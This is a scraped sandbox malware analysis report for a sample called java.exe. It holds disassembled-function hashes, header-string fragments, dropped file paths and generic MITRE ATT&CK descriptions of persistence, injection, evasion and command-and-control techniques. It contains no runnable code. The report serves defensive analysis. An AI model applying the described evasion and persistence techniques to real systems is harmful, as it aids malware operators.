Instruction ID: 11c20fb4ef809aca2e07b82b85ba9d3a16434bcba7781fa5fb5457c143d3ab6b
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: 6951C2715842649FEF139F20CC85B9937BCAF04744F4401D9BA4AFE0D6DBB09694CE65

Uniqueness

Uniqueness Score: -1.00%

Function 02E214BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002D.00000002.2922419078.0000000002E20000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_2e20000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8359f379aab296cf034102068ae67c8d17d9b0a7435fec540ab5f7bd7715324
Instruction ID: c02eaa029a4605bf7dd9fe6e6b63335bff78f416f52c36445e429f6d15c77f50
Opcode Fuzzy Hash: c8359f379aab296cf034102068ae67c8d17d9b0a7435fec540ab5f7bd7715324
Instruction Fuzzy Hash: 832101724046249EDF03AF60C9C9CA673EDEF40704F45456AAD8AEF049FE709258CEE6

Uniqueness

Uniqueness Score: -1.00%

Function 02E21345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002D.00000002.2922419078.0000000002E20000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_2e20000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: df38b710035ab107180ab5fabf918666e4e51519f8213ed40d1107e97c8c31fa
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: B921AE31944226AFEF219E78C944B9DBBB6AF04304F058215F959BF595D730A904CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02E214DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002D.00000002.2922419078.0000000002E20000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_2e20000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7414966d62ab92a52d97edb7ada7e3a23f2d9defc7b5a2a9815f1829eca1fdf5
Instruction ID: 537142da9b7bbe654f42e68328461c40e5dc95652363eacbcbc8767b74ea729b
Opcode Fuzzy Hash: 7414966d62ab92a52d97edb7ada7e3a23f2d9defc7b5a2a9815f1829eca1fdf5
Instruction Fuzzy Hash: 64118F724045249EEF03AF60C5C8CAA73EDEE40704B45596AAD8AEF449FE709258CEE5

Uniqueness

Uniqueness Score: -1.00%

Function 02E23F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002D.00000002.2922419078.0000000002E20000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_2e20000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c09feb9db596d8359f295e8d139cc18023a08d38d10f5a63b4ad8fb083c8443
Instruction ID: 6681177559a651a0f3cf1cce2d0bd403be243871ab58b038698f7d4d225eb30e
Opcode Fuzzy Hash: 8c09feb9db596d8359f295e8d139cc18023a08d38d10f5a63b4ad8fb083c8443
Instruction Fuzzy Hash: 78F082705C8260A6FF00BB71AC4969933B96F00305F04A1D0B94BAD0D0CE3885588E71

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02E24674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

User, xrefs: 02E247AA
Cook, xrefs: 02E24728
nt: , xrefs: 02E247B6
-Age, xrefs: 02E247B0
ie: , xrefs: 02E2472E

Memory Dump Source

Source File: 0000002D.00000002.2922419078.0000000002E20000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_2e20000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: c3273d7f151abcf85100dcb4138bf1f163300c2eb8381fbf5e4bb458663fd5fe
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: 304162B6600218BFEF129F65CC44BDEBBBAEF80708F154069EA45AA294D734D644CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02E24675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

User, xrefs: 02E247AA
Cook, xrefs: 02E24728
nt: , xrefs: 02E247B6
-Age, xrefs: 02E247B0
ie: , xrefs: 02E2472E

Memory Dump Source

Source File: 0000002D.00000002.2922419078.0000000002E20000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_2e20000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: d2a5899016b24c9aa85d79146bdda4f20699b1245d5bc33acb8208cbe46b3611
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: 154184B6600218BFEF125F65CC48BDEBFBAEF80708F154069EA45AA294D734D644CF94

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report java.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db-wal

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\XIYR6UZ0\www.bing[1].xml

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{8e18939b-a40a-444b-9260-fe31534f298a}\0.0.filtertrie.intermediate.txt

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{8e18939b-a40a-444b-9260-fe31534f298a}\0.1.filtertrie.intermediate.txt

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{8e18939b-a40a-444b-9260-fe31534f298a}\0.2.filtertrie.intermediate.txt

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{8e18939b-a40a-444b-9260-fe31534f298a}\Apps.ft

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{8e18939b-a40a-444b-9260-fe31534f298a}\Apps.index

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133502574394086727.txt (copy)

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133502574394086727.txt.~tmp

C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Windows Analysis Report
java.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre